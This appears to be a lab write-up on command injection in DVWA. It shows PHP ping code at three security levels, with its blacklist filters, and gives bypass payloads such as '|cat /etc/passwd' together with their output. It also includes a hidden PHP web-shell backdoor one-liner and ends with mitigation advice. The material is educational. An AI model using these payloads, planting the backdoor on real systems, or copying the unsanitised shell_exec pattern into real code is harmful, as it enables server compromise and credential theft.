

Command Injection

This is an Attack Method calling a system command unintended by sending the data, after modifying an argument value of Application calling the system command.

When calling the system command to deal with specific data on Web Application, the attack often was taken place.

<Threat>

If the command injection is used, a black hacker can upload a malicious script or files on the system by using a various commands.

구분	취약한 함수
Java(Servlet, JSP)	System.*(특히 System.Runtime)
Perl	open() sysopen() system() glob()
PHP	exec() system() passthru() popen() require() include() eval() preg_replace()

<Solution>

As you see, these functions can be the cause of an attack. If the functions must be used, a programmer has to do that a harmful value can't be sent on the function by checking about specific character (" | " , " & " , " ; ") supporting a multiline on the system.

<Lab>

Vulnerability: Command Injection

Ping a device

Enter an IP address:

Vulnerability: Command Injection

Ping a device

Enter an IP address:

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.032 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.038 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.054 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.046 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.032/0.042/0.054/0.008 ms
```

<Low>

```
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( striistr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping -c 4 ' . $target );
    }

    // Feedback for the end user
    $html .= "<pre>{$cmd}</pre>";
}
?>
```

“shell_exec” function (execute a command). This code has a vulnerability that immediately execute the entered command without filtering verification.

Ping a device

Enter an IP address:

Active Internet connections (including servers)

Proto	Recv-Q	Send-Q	Local Address	Foreign Address	(state)
tcp4	0	0	localhost.mysql	localhost.64159	ESTABLISHED
tcp4	0	0	localhost.64159	localhost.mysql	ESTABLISHED
tcp4	0	0	localhost.mysql	localhost.64158	ESTABLISHED
tcp4	0	0	localhost.64158	localhost.mysql	ESTABLISHED
tcp6	0	0	localhost.http	localhost.64157	ESTABLISHED
tcp6	0	0	localhost.64157	localhost.http	ESTABLISHED
tcp6	0	0	localhost.http	localhost.64156	ESTABLISHED
tcp6	0	0	localhost.64156	localhost.http	ESTABLISHED
tcp4	0	0	172.17.210.88.64148	nrt20s21-in-f2.1.https	ESTABLISHED
tcp4	0	0	172.17.210.88.64147	592.bm-nginx-loa.https	ESTABLISHED
tcp4	0	0	172.17.210.88.64145	nrt13s49-in-f3.1.https	ESTABLISHED
tcp4	0	0	172.17.210.88.64128	nrt20s19-in-f14..https	ESTABLISHED
tcp4	0	0	172.17.210.88.64127	nrt13s50-in-f16..https	ESTABLISHED
tcp4	0	0	172.17.210.88.64126	cache.google.com.http	CLOSE_WAIT
tcp4	0	0	172.17.210.88.64125	nrt13s50-in-f16..http	ESTABLISHED
tcp4	0	0	172.17.210.88.64123	cache.google.com.http	CLOSE_WAIT

Enter: `|| netstat -a` (command)

By using an operator (`||`), look up all port information of current attack target. If the web has a vulnerability like this, an attacker can intercept an account information or server information etc. This is very dangerous vulnerability.

<Medium>

```
if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';' => '',
    );

    // Remove any of the characters in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( strpos( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping -c 4 ' . $target );
    }

    // Feedback for the end user
    $html .= "<pre>{$cmd}</pre>";
}
```

medium.php

This code have simply code that change specific character to “ (nothing). This can block the attack through “&&” or ‘ ; ’ .

But the attacker can use the command injection through other multiline command. Ex) || , > , <

<High>

```
[if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&' => '',
        ';' => '',
        '|' => '',
        '-' => '',
        '$' => '',
        '(' => '',
        ')' => '',
        '`' => '',
        '||' => '',
    );

    // Remove any of the characters in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( striistr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping -c 4 ' . $target );
    }

    // Feedback for the end user
    $html .= "<pre>{$cmd}</pre>";
}
```

high.php

Can't use the various characters.

- ⇒ || cat /etc/passwd
- ⇒ |` cat /etc/passwd
- ⇒ |cat /etc/passwd

Ping a device

Enter an IP address:

```
##
# User Database
#
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico
_taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false
_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false
_installassistant:*:25:25:Install Assistant:/var/empty:/usr/bin/false
```

Thus, the attacker can bypass like this.

<Backdoor>

```
echo "<?php \$var=shell_exec(\$_GET['input']); echo \$var?>"
```

>.backdoor.php

If the attacker put this code on server, whenever the attacker can attack through the backdoor. And the backdoor file is not seen by entering the command "ls".

<Security>

By using `escapeshellarg()` can be more secure without validation, even when the user input other than IP Address format.

```
$target => escapeshellarg($target)
```

OR

STRIP → Merge → Checking → Execute

`Stripslashes() => explode() => is_numeric() => (merge)`